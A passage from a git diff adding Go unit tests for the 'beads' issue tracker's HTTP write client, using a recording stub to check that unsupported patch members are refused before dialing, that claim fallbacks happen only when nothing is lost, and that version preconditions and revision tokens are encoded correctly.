t.Errorf("bodiless names %q (%s), which WriteWire no longer declares; drop it", name, why) + } + } +} + +// lowerFirst maps a WriteWire method name onto its operationId, which is the +// same name with a lowercase initial: ClaimIssue -> claimIssue. +func lowerFirst(s string) string { + if s == "" { + return s + } + r := []rune(s) + r[0] = unicode.ToLower(r[0]) + return string(r) +} + +func patchShape(t *testing.T) writeShape { + t.Helper() + return shapeNamed(t, "updateIssue/patch") +} + +// shapeNamed selects one classified shape BY NAME, which is what the two +// document gates need now that issueops.IssuePatch has two of them: selecting +// by source type would hand whichever came first in the table, and the two +// publish different members. +func shapeNamed(t *testing.T, name string) writeShape { + t.Helper() + for _, shape := range writeShapes() { + if shape.name == name { + return shape + } + } + t.Fatalf("no write shape is named %q", name) + return writeShape{} +} + +// setPatchField sets one issueops.Field member so the encoder sees it as +// present. Two members are not Fields at all: Labels is a LabelPatch, whose +// three arms are all served, and Metadata is a MetadataPatch, whose four arms +// are classified as a shape of their own. +func setPatchField(t *testing.T, v reflect.Value) { + t.Helper() + if !v.CanSet() { + t.Fatalf("cannot set a %s", v.Type()) + } + switch v.Type() { + case reflect.TypeOf(issueops.LabelPatch{}): + // ALL THREE ARMS, because all three are carried now: the document gate + // compares the encoded members against the table's spread, so driving + // only the replace would let a dropped add_labels pass. + replace := v.FieldByName("Replace") + replace.FieldByName("Set").SetBool(true) + replace.FieldByName("Value").Set(reflect.ValueOf([]string{"gate-sentinel"})) + v.FieldByName("Add").Set(reflect.ValueOf([]string{"gate-added"})) + v.FieldByName("Remove").Set(reflect.ValueOf([]string{"gate-removed"})) + return + case reflect.TypeOf(issueops.MetadataPatch{}): + // The CLEAR, for the reason the comment below gives about a zero + // nullable: a set Replace holding no bytes is the state a struct of + // `omitempty` members cannot spell, so it is the arm worth driving here. + replace := v.FieldByName("Replace") + replace.FieldByName("Set").SetBool(true) + return + } + set := v.FieldByName("Set") + if !set.IsValid() { + t.Fatalf("%s is neither a Field, a LabelPatch nor a MetadataPatch", v.Type()) + } + set.SetBool(true) + // The Value stays zero. Presence is what the encoder reads, and a zero + // pointer on one of the nullable members is the CLEAR — which still has to + // produce the member, so leaving it zero exercises the harder arm. +} + +type fieldKey struct { + owner reflect.Type + field string +} + +func ledgerRowsByField(t *testing.T) map[fieldKey]encode.Row { + t.Helper() + rows := map[fieldKey]encode.Row{} + for _, row := range encode.Ledger() { + if row.Type == nil { + continue + } + rows[fieldKey{row.Type, row.Field}] = row + } + if len(rows) == 0 { + t.Fatal("the divergence ledger carries no field-shaped rows") + } + return rows +} + +func checkRefusalRow(t *testing.T, rows map[fieldKey]encode.Row, owner reflect.Type, field, id string) { + t.Helper() + row, ok := rows[fieldKey{owner, field}] + if !ok { + t.Errorf("%s.%s cites ledger row %s, which names no such field", owner.Name(), field, id) + return + } + if row.ID != id { + t.Errorf("%s.%s cites ledger row %s; the row naming that field is %s", owner.Name(), field, id, row.ID) + } + if row.Kind != encode.KindRefuse { + t.Errorf("ledger row %s is %q; a partially-carried member must REFUSE the shape it cannot express", row.ID, row.Kind) + } +} + +// bodyMembers reads a wire body's published members off its JSON tags — the +// generated type is the document's own output, so this is the document talking. +func bodyMembers(t *testing.T, body reflect.Type) map[string]bool { + t.Helper() + if body == nil || body.Kind() != reflect.Struct { + t.Fatalf("wire body %v is not a struct type", body) + } + out := map[string]bool{} + for i := range body.NumField() { + f := body.Field(i) + if !f.IsExported() { + continue + } + name, _, _ := strings.Cut(f.Tag.Get("json"), ",") + if name == "" || name == "-" { + t.Errorf("%s.%s carries no json member name", body.Name(), f.Name) + continue + } + out[name] = true + } + if len(out) == 0 { + t.Fatalf("wire body %s publishes no members", body.Name()) + } + return out +} + +// populatableFields lists the fields of a request shape a caller can set. It is +// the same rule encode/bijection_test.go applies to the read shapes: unexported +// fields are excluded because no caller outside their package can set one. +func populatableFields(rt reflect.Type) []string { + var out []string + for i := range rt.NumField() { + f := rt.Field(i) + if !f.IsExported() { + continue + } + if f.Anonymous { + et := f.Type + for et.Kind() == reflect.Pointer { + et = et.Elem() + } + if et.Kind() == reflect.Struct { + out = append(out, populatableFields(et)...) + continue + } + } + out = append(out, f.Name) + } + return out +} + +func sortedKeys(m map[string]bool) []string { + out := make([]string, 0, len(m)) + for k := range m { + out = append(out, k) + } + sort.Strings(out) + return out +} + +func toSet(m map[string]any) map[string]bool { + out := make(map[string]bool, len(m)) + for k := range m { + out[k] = true + } + return out +} diff --git a/internal/httpclient/write_roles_test.go b/internal/httpclient/write_roles_test.go new file mode 100644 index 000000000..e58916379 --- /dev/null +++ b/internal/httpclient/write_roles_test.go @@ -0,0 +1,1814 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/write_roles_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "net/url" + "reflect" + "strconv" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" + "github.com/steveyegge/beads/memoryops" +) + +// TestTheWireClientSatisfiesTheWriteSeam is the only compile-time proof that the +// interface the store declares and the methods the transport grew are the same +// set. +// +// Production never makes this assertion: the store is deliberately transport- +// free — a build links one through RegisterWireDialer — so nothing in the +// dependency graph forces the two to agree. A signature that drifted would +// otherwise surface as a failed type assertion at the first dial, in the +// activation bead's code, with neither side's author present. +func TestTheWireClientSatisfiesTheWriteSeam(t *testing.T) { + var _ WriteWire = (*wire.Client)(nil) +} + +// stubWire answers the write surface from canned values and records what it was +// asked. Every method that a test does not arm answers a zero value, which is +// what makes "this role dialed something it should have refused" visible: the +// recorded call list is empty on a correct refusal. +type stubWire struct { + res *apigen.ContextResponse + + calls []string + + claim *apigen.ClaimResponse + close *apigen.CloseIssueResponse + batchClose *apigen.BatchCloseResponse + reopen *apigen.ReopenIssueResponse + update *apigen.UpdateIssueResponse + added *apigen.AddDependenciesResponse + removed *apigen.RemoveDependencyResponse + remember *apigen.RememberedMemory + memory *apigen.Memory + page *apigen.MemoriesPage + ready []*apigen.ReadyPage + swept *apigen.SweepResult + deleted *apigen.DeleteIssuesResult + created *apigen.BatchCreateResponse + created1 *apigen.Issue + cas *apigen.CompareAndSetMetadataResponse + applied *apigen.ApplyBatchResponse + released *apigen.ReleaseIssueResponse + // commented is the appended comment the stub answers with. A nil one is + // answered as a nil BODY rather than as a synthesized row, unlike the + // created/applied defaults above: "the server answered 200 with no comment" + // is a state the Commenter role has to have an answer for, and a stub that + // invented a row could not drive it. + commented *apigen.Comment + // claimedNext is the served claimNext answer. A nil one is answered as a nil + // BODY, for commented's reason. + claimedNext *apigen.ClaimNextResponse + + // err is returned by the next operation of any kind, then cleared, so a + // test can arm one refusal in the middle of a loop. + errs []error + + // lastPatch is the document the update role built, which is the one thing + // about that role no result can show. + lastClaimNextParams url.Values + lastClaimNextBody apigen.ClaimNextRequest + + lastPatch map[string]any + lastGuards wire.UpdateGuards + lastFlags wire.UpdateFlags + lastClose apigen.CloseIssueRequest + lastReopen apigen.ReopenIssueRequest + lastBatchClose apigen.BatchCloseRequest + lastAdd apigen.AddDependenciesRequest + lastSearch string + lastSweep apigen.SweepRequest + lastDelete apigen.DeleteIssuesRequest + lastBatchCreate apigen.BatchCreateRequest + lastCreate apigen.CreateIssueRequest + lastCAS apigen.CompareAndSetMetadataRequest + lastApply wire.ApplyBatchRequest + lastRelease apigen.ReleaseIssueRequest + lastComment apigen.AddCommentRequest +} + +func (s *stubWire) ServerContext(context.Context) (*apigen.ContextResponse, error) { + if s.res == nil { + return &apigen.ContextResponse{}, nil + } + return s.res, nil +} + +// The read half of the seam, which the WRITE roles never touch: they dispatch +// through operation-shaped methods above, not through the generic pair. Both +// fail loudly rather than answering, so a write role that started routing +// through the read path would say so instead of quietly recording no call. +func (s *stubWire) Preflight(_ context.Context, op string) error { + return fmt.Errorf("stubWire: the write seam does not pre-flight %q", op) +} + +func (s *stubWire) Do(_ context.Context, req wire.Request, _ any) error { + return fmt.Errorf("stubWire: the write seam does not dispatch %q generically", req.Op) +} + +// WatchEvents is the stream half of the seam, which the write roles never touch. +// It fails loudly rather than answering, so a write role that started streaming +// would say so instead of quietly opening nothing. +func (s *stubWire) WatchEvents(_ context.Context, since int64) (*wire.EventStream, error) { + return nil, fmt.Errorf("stubWire: the write seam does not watch (since=%d)", since) +} + +func (s *stubWire) record(op string) error { + s.calls = append(s.calls, op) + if len(s.errs) > 0 { + err := s.errs[0] + s.errs = s.errs[1:] + return err + } + return nil +} + +func (s *stubWire) ClaimIssue(_ context.Context, id string, _ apigen.ClaimRequest) (*apigen.ClaimResponse, error) { + if err := s.record("claimIssue:" + id); err != nil { + return nil, err + } + return s.claim, nil +} + +// ClaimNextIssue answers the prepared claim and records the QUERY, which is the +// half of this operation no result can show: the filter travels as a query +// string, so what the client asked for is only visible here. +// +// A nil claimedNext is answered as a nil BODY rather than as a synthesized +// response, like commented above: "the server answered 200 with nothing" is a +// state this role has to have an answer for. +func (s *stubWire) ClaimNextIssue(_ context.Context, params url.Values, body apigen.ClaimNextRequest) (*apigen.ClaimNextResponse, error) { + s.lastClaimNextParams = params + s.lastClaimNextBody = body + if err := s.record("claimNextIssue"); err != nil { + return nil, err + } + return s.claimedNext, nil +} + +func (s *stubWire) CloseIssue(_ context.Context, id string, body apigen.CloseIssueRequest) (*apigen.CloseIssueResponse, error) { + s.lastClose = body + if err := s.record("closeIssue:" + id); err != nil { + return nil, err + } + return s.close, nil +} + +func (s *stubWire) BatchCloseIssues(_ context.Context, body apigen.BatchCloseRequest) (*apigen.BatchCloseResponse, error) { + s.lastBatchClose = body + if err := s.record("batchCloseIssues"); err != nil { + return nil, err + } + return s.batchClose, nil +} + +func (s *stubWire) ReopenIssue(_ context.Context, id string, body apigen.ReopenIssueRequest) (*apigen.ReopenIssueResponse, error) { + s.lastReopen = body + if err := s.record("reopenIssue:" + id); err != nil { + return nil, err + } + return s.reopen, nil +} + +func (s *stubWire) UpdateIssue(_ context.Context, id, _ string, patch map[string]any, guards wire.UpdateGuards, flags wire.UpdateFlags) (*apigen.UpdateIssueResponse, error) { + s.lastPatch = patch + s.lastGuards = guards + s.lastFlags = flags + if err := s.record("updateIssue:" + id); err != nil { + return nil, err + } + return s.update, nil +} + +func (s *stubWire) ReleaseIssue(_ context.Context, id string, body apigen.ReleaseIssueRequest) (*apigen.ReleaseIssueResponse, error) { + s.lastRelease = body + if err := s.record("releaseIssue:" + id); err != nil { + return nil, err + } + if s.released == nil { + // The shape every 200 on this operation has: the post-release row, + // `changed` true because the role refuses every shape that would not + // write, and the reminted token BESIDE the row rather than on it — + // types.Issue.RowVersion is `json:"-"`, so a real decode never carries + // one and a stub that put it on the issue would hide the stitch. + return &apigen.ReleaseIssueResponse{ + Issue: apigen.Issue{ID: id, Status: types.StatusOpen}, + Changed: true, + Revision: "0", + }, nil + } + return s.released, nil +} + +func (s *stubWire) AddComment(_ context.Context, id string, body apigen.AddCommentRequest) (*apigen.Comment, error) { + s.lastComment = body + if err := s.record("addComment:" + id); err != nil { + return nil, err + } + return s.commented, nil +} + +func (s *stubWire) CompareAndSetMetadata(_ context.Context, id string, body apigen.CompareAndSetMetadataRequest) (*apigen.CompareAndSetMetadataResponse, error) { + s.lastCAS = body + if err := s.record("compareAndSetMetadata:" + id); err != nil { + return nil, err + } + if s.cas == nil { + return &apigen.CompareAndSetMetadataResponse{}, nil + } + return s.cas, nil +} + +func (s *stubWire) ApplyBatch(_ context.Context, body wire.ApplyBatchRequest) (*apigen.ApplyBatchResponse, error) { + s.lastApply = body + if err := s.record("applyBatch"); err != nil { + return nil, err + } + if s.applied == nil { + // The shape the operation promises: one result per requested item, in + // request order, echoing the kind the item carried, with every NAMED + // create bound in `keys` to the same id its own result carries. A stub + // that answered a shorter array, or left a declared key unbound, would + // be exercising the role's own guards rather than whatever the case is + // about. + items := make([]apigen.ApplyItemResult, 0, len(body.Items)) + keys := map[string]string{} + for i, item := range body.Items { + id := "stub-applied" + if item.Create != nil && item.Create.Key != nil && *item.Create.Key != "" { + id = fmt.Sprintf("stub-applied-%d", i) + keys[*item.Create.Key] = id + } + // `revision` is required on every result and is a decimal string + // (types.RevisionToken); "0" is the legacy token a real row holds. + items = append(items, apigen.ApplyItemResult{ + Kind: apigen.ApplyItemResultKind(item.Kind), IssueId: id, Changed: true, Revision: "0", + }) + } + return &apigen.ApplyBatchResponse{Keys: keys, Items: items}, nil + } + return s.applied, nil +} + +func (s *stubWire) CreateIssue(_ context.Context, body apigen.CreateIssueRequest) (*apigen.Issue, error) { + s.lastCreate = body + if err := s.record("createIssue"); err != nil { + return nil, err + } + if s.created1 == nil { + // The row as STORED: the id the server minted when the request named + // none, echoed back the way the operation's own response does. + id := derefOr(body.Id, "stub-created") + return &apigen.Issue{ID: id, Title: body.Title}, nil + } + return s.created1, nil +} + +func derefOr(v *string, fallback string) string { + if v == nil || *v == "" { + return fallback + } + return *v +} + +func (s *stubWire) AddDependencies(_ context.Context, body apigen.AddDependenciesRequest) (*apigen.AddDependenciesResponse, error) { + s.lastAdd = body + if err := s.record("addDependencies"); err != nil { + return nil, err + } + return s.added, nil +} + +func (s *stubWire) RemoveDependency(_ context.Context, _ apigen.RemoveDependencyRequest) (*apigen.RemoveDependencyResponse, error) { + if err := s.record("removeDependency"); err != nil { + return nil, err + } + return s.removed, nil +} + +func (s *stubWire) SweepIssues(_ context.Context, body apigen.SweepRequest) (*apigen.SweepResult, error) { + s.lastSweep = body + if err := s.record("sweepIssues"); err != nil { + return nil, err + } + if s.swept == nil { + return &apigen.SweepResult{}, nil + } + return s.swept, nil +} + +func (s *stubWire) DeleteIssues(_ context.Context, body apigen.DeleteIssuesRequest) (*apigen.DeleteIssuesResult, error) { + s.lastDelete = body + if err := s.record("deleteIssues"); err != nil { + return nil, err + } + if s.deleted == nil { + return &apigen.DeleteIssuesResult{}, nil + } + return s.deleted, nil +} + +func (s *stubWire) BatchCreateIssues(_ context.Context, body apigen.BatchCreateRequest) (*apigen.BatchCreateResponse, error) { + s.lastBatchCreate = body + if err := s.record("batchCreateIssues"); err != nil { + return nil, err + } + if s.created == nil { + // One echoed issue per requested item, which is the only answer the + // role accepts: a length mismatch is a server fault it reports rather + // than indexes into. + items := make([]apigen.Issue, len(body.Items)) + for i, item := range body.Items { + items[i] = types.Issue{ID: fmt.Sprintf("stub-%d", i), Title: item.Title} + } + return &apigen.BatchCreateResponse{Items: items}, nil + } + return s.created, nil +} + +func (s *stubWire) RememberMemory(_ context.Context, _ apigen.RememberRequest) (*apigen.RememberedMemory, error) { + if err := s.record("rememberMemory"); err != nil { + return nil, err + } + return s.remember, nil +} + +func (s *stubWire) RecallMemory(_ context.Context, key string) (*apigen.Memory, error) { + if err := s.record("getMemory:" + key); err != nil { + return nil, err + } + return s.memory, nil +} + +func (s *stubWire) ForgetMemory(_ context.Context, key string) (*apigen.Memory, error) { + if err := s.record("forgetMemory:" + key); err != nil { + return nil, err + } + return s.memory, nil +} + +func (s *stubWire) ListMemories(_ context.Context, search string) (*apigen.MemoriesPage, error) { + s.lastSearch = search + if err := s.record("listMemories"); err != nil { + return nil, err + } + return s.page, nil +} + +func (s *stubWire) ListReadyWork(_ context.Context, _ url.Values) (*apigen.ReadyPage, error) { + if err := s.record("listReadyWork"); err != nil { + return nil, err + } + if len(s.ready) == 0 { + return &apigen.ReadyPage{}, nil + } + page := s.ready[0] + if len(s.ready) > 1 { + s.ready = s.ready[1:] + } + return page, nil +} + +func stubStore(t *testing.T, w *stubWire) *Store { + t.Helper() + return New(testTarget(t), w, &apigen.ContextResponse{BdVersion: "1.2.3"}) +} + +func set[T any](v T) issueops.Field[T] { return issueops.Field[T]{Set: true, Value: v} } + +// TestUpdateRefusesEveryMemberTheWireExcludes is the refuse-not-drop pin for the +// update path: every UpdateRequest member and every IssuePatch member the wire's +// issuePatchMembers list leaves out fails the request, and — the half that +// matters — fails it WITHOUT dialing. A refusal that reached the server would be +// a request the server answered on the members it did understand. +func TestUpdateRefusesEveryMemberTheWireExcludes(t *testing.T) { + minutes := 30 + + cases := map[string]issueops.UpdateRequest{ + "IssuePlaneOnly": {IssuePlaneOnly: true}, + "Provenance": {Provenance: "bd: update"}, + + "Patch.Owner": {Patch: issueops.IssuePatch{Owner: set("someone")}}, + "Patch.ClosedBySession": {Patch: issueops.IssuePatch{ClosedBySession: set("s1")}}, + "Patch.SpecID": {Patch: issueops.IssuePatch{SpecID: set("spec")}}, + "Patch.AwaitID": {Patch: issueops.IssuePatch{AwaitID: set("await")}}, + "Patch.Persistence": {Patch: issueops.IssuePatch{Persistence: set(issueops.PersistenceModeEphemeral)}}, + + // Patch.Labels.Add and Patch.Labels.Remove WERE here, and their absence + // is the flip rather than an oversight: upstream #5510 published + // add_labels and remove_labels, client wave ga-jpywb emits both, and + // W-IssuePatch.Labels is retired. What replaced these two rows is a + // positive assertion — TestUpdateSendsTheWholeOrderedLabelEdit — because + // the failure a retired refusal invites is a member that stopped being + // refused and never started being sent. + // + // ForceNotesOverwrite WAS here too, and left for the same reason + // (W-UpdateRequest.ForceNotesOverwrite is RETIRED): the single-patch + // updateIssue body now sends `force_notes_overwrite` exactly as + // issues:batchApply's update item already did. Claim, + // ForceAssigneeTransfer and ForceClosePolicy followed it (the #7247 + // review port; their rows are RETIRED too). The positive assertion for + // all four is TestUpdateSendsEachFlagOnlyWhenRequested, directly below + // TestUpdateSendsTheGuardTrio. + } + + for name, req := range cases { + // Each refusal holds beside a claim too. A claim used to be routed + // AHEAD of this walk, and a claim that skipped it again would carry + // these members to a server that drops them. + for _, claim := range []bool{false, true} { + t.Run(fmt.Sprintf("%s/claim=%t", name, claim), func(t *testing.T) { + w := &stubWire{update: &apigen.UpdateIssueResponse{Revision: "0"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + // Every case carries a wire-expressible member too, so a refusal + // cannot be mistaken for the empty-patch validation failure. + req := req + req.Actor, req.IssueID, req.Claim = "writer", "bd-1", claim + req.Patch.Title = set("a title") + req.Patch.EstimatedMinutes = set(&minutes) + + if _, err := lifecycle.Update(t.Context(), req); !errors.Is(err, encode.ErrRefused) { + t.Fatalf("Update with %s = %v, want a refuse-not-drop refusal", name, err) + } + if len(w.calls) != 0 { + t.Errorf("the refusal dialed %v; a refused member must never reach the server", w.calls) + } + }) + } + } +} + +// predatesUpdateClaim is the refusal a bd serve that predates `claim` on +// updateIssue (upstream #6890) answers a body carrying it with: the skew 400, +// naming the member, raised before the server does any database work. +func predatesUpdateClaim() error { + return &wire.ProblemError{ + Op: "updateIssue", Status: 400, Code: "invalid_argument", + Reason: encode.UnknownParameterReason, Param: "claim", + Detail: "this operation's request body carries actor, patch and nothing else", + } +} + +// TestUpdateClaimFallsBackToClaimIssueOnlyWhenNothingIsLost pins the one claim +// that does not ride updateIssue: a claim ALONE, against a server that refused +// `claim` as an unknown parameter. claimIssue's request is the actor alone, so +// it carries everything a claim-only request asked for — and nothing else, so +// every OTHER shape returns the skew refusal as it came rather than retrying +// as a claim that drops the patch, the guard or the override beside it. +// +// The refusals a CURRENT server answers on `claim` are not skew and must not +// fall back either: `invalid_value` naming `claim` is the claim beside a +// member it may not ride with, and a retry through claimIssue would serve the +// claim the server just refused. +func TestUpdateClaimFallsBackToClaimIssueOnlyWhenNothingIsLost(t *testing.T) { + version := int64(7) + holder := "someone" + + for _, tc := range []struct { + name string + req issueops.UpdateRequest + refusal error + wantCalls []string + }{ + { + name: "a claim alone retries as claimIssue", + req: issueops.UpdateRequest{}, + refusal: predatesUpdateClaim(), + wantCalls: []string{"updateIssue:bd-1", "claimIssue:bd-1"}, + }, + { + name: "a claim with a patch does not", + req: issueops.UpdateRequest{Patch: issueops.IssuePatch{Title: set("claimed and renamed")}}, + refusal: predatesUpdateClaim(), + wantCalls: []string{"updateIssue:bd-1"}, + }, + { + name: "a claim with a version guard does not", + req: issueops.UpdateRequest{ExpectedVersion: &version}, + refusal: predatesUpdateClaim(), + wantCalls: []string{"updateIssue:bd-1"}, + }, + { + name: "a claim with an assignee guard does not", + req: issueops.UpdateRequest{ExpectedAssignee: &holder}, + refusal: predatesUpdateClaim(), + wantCalls: []string{"updateIssue:bd-1"}, + }, + { + name: "a claim with a close-policy override does not", + req: issueops.UpdateRequest{ForceClosePolicy: true}, + refusal: predatesUpdateClaim(), + wantCalls: []string{"updateIssue:bd-1"}, + }, + { + name: "a current server's invalid claim does not", + req: issueops.UpdateRequest{}, + refusal: &wire.ProblemError{ + Op: "updateIssue", Status: 400, Code: "invalid_argument", + Reason: "invalid_value", Param: "claim", + }, + wantCalls: []string{"updateIssue:bd-1"}, + }, + { + name: "skew on another member does not", + req: issueops.UpdateRequest{}, + refusal: &wire.ProblemError{ + Op: "updateIssue", Status: 400, Code: "invalid_argument", + Reason: encode.UnknownParameterReason, Param: "expected_version", + }, + wantCalls: []string{"updateIssue:bd-1"}, + }, + } { + t.Run(tc.name, func(t *testing.T) { + w := &stubWire{ + errs: []error{tc.refusal}, + claim: &apigen.ClaimResponse{ + Issue: apigen.Issue{ID: "bd-1", Status: types.StatusInProgress, Assignee: "writer"}, + }, + } + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + req := tc.req + req.Actor, req.IssueID, req.Claim = "writer", "bd-1", true + + res, err := lifecycle.Update(t.Context(), req) + if !reflect.DeepEqual(w.calls, tc.wantCalls) { + t.Fatalf("Update dialed %v, want %v", w.calls, tc.wantCalls) + } + if len(tc.wantCalls) == 2 { + if err != nil { + t.Fatalf("the fallback claim: %v", err) + } + if res.Issue == nil || res.Issue.Assignee != "writer" || !res.Changed { + t.Errorf("the fallback answered %+v, want claimIssue's claimed row", res) + } + // claimIssue carries no revision, and no other snapshot's token + // may stand in for one. + if res.Issue != nil && res.Issue.RowVersion != 0 { + t.Errorf("the fallback stitched RowVersion %d onto a row claimIssue answered without one", res.Issue.RowVersion) + } + return + } + if !errors.Is(err, tc.refusal) { + t.Errorf("Update = %v, want the server's refusal returned as it came", err) + } + }) + } +} + +// TestUpdateEncodesPresenceAndTheNullableClears pins the one thing about the +// patch document that a result cannot show: an unset member is absent, a set +// member is present, and a set-but-nil nullable member is a literal null, which +// is the CLEAR. Collapsing the last two — which is what apigen's pointer members +// under `omitempty` would do — turns "clear the due date" into "leave it alone". +func TestUpdateEncodesPresenceAndTheNullableClears(t *testing.T) { + w := &stubWire{update: &apigen.UpdateIssueResponse{Changed: true, Revision: "0"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + due := time.Date(2026, 8, 8, 12, 0, 0, 0, time.UTC) + res, err := lifecycle.Update(t.Context(), issueops.UpdateRequest{ + Actor: "writer", IssueID: "bd-1", + Patch: issueops.IssuePatch{ + Title: set("new title"), + Priority: set(1), + IssueType: set(types.TypeTask), + DueAt: set(&due), + DeferUntil: set[*time.Time](nil), + EstimatedMinutes: set[*int](nil), + Labels: issueops.LabelPatch{Replace: set([]string{"x", "y"})}, + }, + }) + if err != nil { + t.Fatalf("Update: %v", err) + } + if !res.Changed { + t.Error("Changed = false, want the server's own answer") + } + + patch := w.lastPatch + if got, ok := patch["title"]; !ok || got != "new title" { + t.Errorf("patch[title] = %v (present %t), want the set value", got, ok) + } + if _, ok := patch["description"]; ok { + t.Error("patch carries description, which was never set — an unset member must be absent") + } + for _, member := range []string{"defer_until", "estimated_minutes"} { + got, ok := patch[member] + if !ok { + t.Errorf("patch omits %s, which was set to nil — the clear must reach the server as null", member) + continue + } + if got != nil { + t.Errorf("patch[%s] = %v, want a literal null", member, got) + } + } + if got := patch["due_at"]; got != due.Format(time.RFC3339Nano) { + t.Errorf("patch[due_at] = %v, want RFC 3339", got) + } + if got, want := patch["labels"], []string{"x", "y"}; !reflect.DeepEqual(got, want) { + t.Errorf("patch[labels] = %v, want the replacement set %v", got, want) + } +} + +// TestUpdateRefusesARequestThatWritesNothing keeps an empty patch off the wire: +// the server answers it with a 400 and so would we, and a write that writes +// nothing is a client bug worth naming before it costs a round trip. +func TestUpdateRefusesARequestThatWritesNothing(t *testing.T) { + w := &stubWire{} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + _, err = lifecycle.Update(t.Context(), issueops.UpdateRequest{Actor: "writer", IssueID: "bd-1"}) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("empty-patch Update = %v, want ErrValidation", err) + } + if len(w.calls) != 0 { + t.Errorf("the empty patch dialed %v", w.calls) + } +} + +// TestReopenRefusesTheMembersTheWireExcludes is the reopen half of +// refuse-not-drop. Provenance is not in the design's own enumeration — the page +// lists the close half of ExpectedVersion and nothing about Provenance — and it +// is a ledger row for the same reason that one was. +// +// ExpectedVersion left this population when the client learned to send it; its +// round trip is TestReopenSendsTheRowVersionPrecondition below. +func TestReopenRefusesTheMembersTheWireExcludes(t *testing.T) { + cases := map[string]issueops.ReopenRequest{ + "Provenance": {Provenance: "bd: reopen"}, + } + for name, req := range cases { + t.Run(name, func(t *testing.T) { + w := &stubWire{reopen: &apigen.ReopenIssueResponse{Revision: "0"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + req.Actor, req.IssueID = "writer", "bd-1" + if _, err := lifecycle.Reopen(t.Context(), req); !errors.Is(err, encode.ErrRefused) { + t.Fatalf("Reopen with %s = %v, want a refuse-not-drop refusal", name, err) + } + if len(w.calls) != 0 { + t.Errorf("the refusal dialed %v", w.calls) + } + }) + } +} + +// The compare-and-set preconditions, on the four verbs that publish them. +// +// Each case drives ONE guard and reads the body the role put on the wire, and +// each asserts the same two things: the member is sent, and — the half that +// catches the mistake nobody sees — a request that names NO guard leaves the +// member ABSENT rather than sending a zero. +// +// ABSENT IS NOT ZERO on any of them. `expected_version` 0 is a legal token: the +// migration-0054 backfill left rows holding it, so a client that encoded "no +// guard" as 0 would guard every unguarded write against those rows and only +// those. `expected_assignee` "" is a legal guard too — it is how a caller says +// "only if nobody holds it" — so the two states cannot be collapsed in the other +// direction either. The role models both as POINTERS for exactly this reason and +// the wire body does too, so the encoding is a nil check and nothing else. No +// sentinel is encoded anywhere: not 0, and not the -1 the tree carried before +// the wire wave retired it. + +func TestCloseSendsTheRowVersionPrecondition(t *testing.T) { + version := int64(9) + for _, tc := range []struct { + name string + want *int64 + req issueops.CloseRequest + }{ + {name: "guarded", want: &version, req: issueops.CloseRequest{ExpectedVersion: &version}}, + {name: "zero is a real token", want: new(int64), req: issueops.CloseRequest{ExpectedVersion: new(int64)}}, + {name: "unguarded", want: nil, req: issueops.CloseRequest{}}, + } { + t.Run(tc.name, func(t *testing.T) { + w := &stubWire{close: &apigen.CloseIssueResponse{Revision: "0"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + req := tc.req + req.Actor, req.IssueID = "writer", "bd-1" + if _, err := lifecycle.Close(t.Context(), req); err != nil { + t.Fatalf("Close: %v", err) + } + assertExpectedVersion(t, "closeIssue", w.lastClose.ExpectedVersion, tc.want) + }) + } +} + +func TestReopenSendsTheRowVersionPrecondition(t *testing.T) { + version := int64(11) + for _, tc := range []struct { + name string + want *int64 + req issueops.ReopenRequest + }{ + {name: "guarded", want: &version, req: issueops.ReopenRequest{ExpectedVersion: &version}}, + {name: "zero is a real token", want: new(int64), req: issueops.ReopenRequest{ExpectedVersion: new(int64)}}, + {name: "unguarded", want: nil, req: issueops.ReopenRequest{}}, + } { + t.Run(tc.name, func(t *testing.T) { + w := &stubWire{reopen: &apigen.ReopenIssueResponse{Revision: "0"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + req := tc.req + req.Actor, req.IssueID = "writer", "bd-1" + if _, err := lifecycle.Reopen(t.Context(), req); err != nil { + t.Fatalf("Reopen: %v", err) + } + assertExpectedVersion(t, "reopenIssue", w.lastReopen.ExpectedVersion, tc.want) + }) + } +} + +// TestLifecycleResultsStitchTheRevisionOntoTheRow is the update/close/reopen +// twin of TestReleaseStitchesTheRevisionOntoTheRowItAnswersWith. +// +// types.Issue.RowVersion is `json:"-"`, so the decoded row carries no token and +// each verb publishes the post-write revision as a SIBLING member. The client's +// one correct move is to ride it back onto Issue.RowVersion; both wrong ones are +// silent — dropping the member leaves a zero that reads as a real token (the +// migration-0054 backfill wrote 0s), and a second result field leaves the +// compose-and-continue loop reading the wrong one. The token is deliberately past +// 2^53: a decode through an IEEE-754 double answers a number NEAR it that is not +// it. The stub answers the revision BESIDE the row precisely so a stub that put +// it on the issue would hide the stitch. +func TestLifecycleResultsStitchTheRevisionOntoTheRow(t *testing.T) { + const token int64 = 900719925474099234 + + t.Run("update", func(t *testing.T) { + w := &stubWire{update: &apigen.UpdateIssueResponse{ + Issue: types.Issue{ID: "bd-1", Status: types.StatusOpen}, Changed: true, Revision: types.RevisionToken(token), + }} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + res, err := lifecycle.Update(t.Context(), issueops.UpdateRequest{ + Actor: "writer", IssueID: "bd-1", Patch: issueops.IssuePatch{Priority: set(1)}, + }) + if err != nil { + t.Fatalf("Update: %v", err) + } + if res.Issue == nil || res.Issue.RowVersion != token { + t.Errorf("UpdateResult.Issue.RowVersion = %v, want %d off the wire's 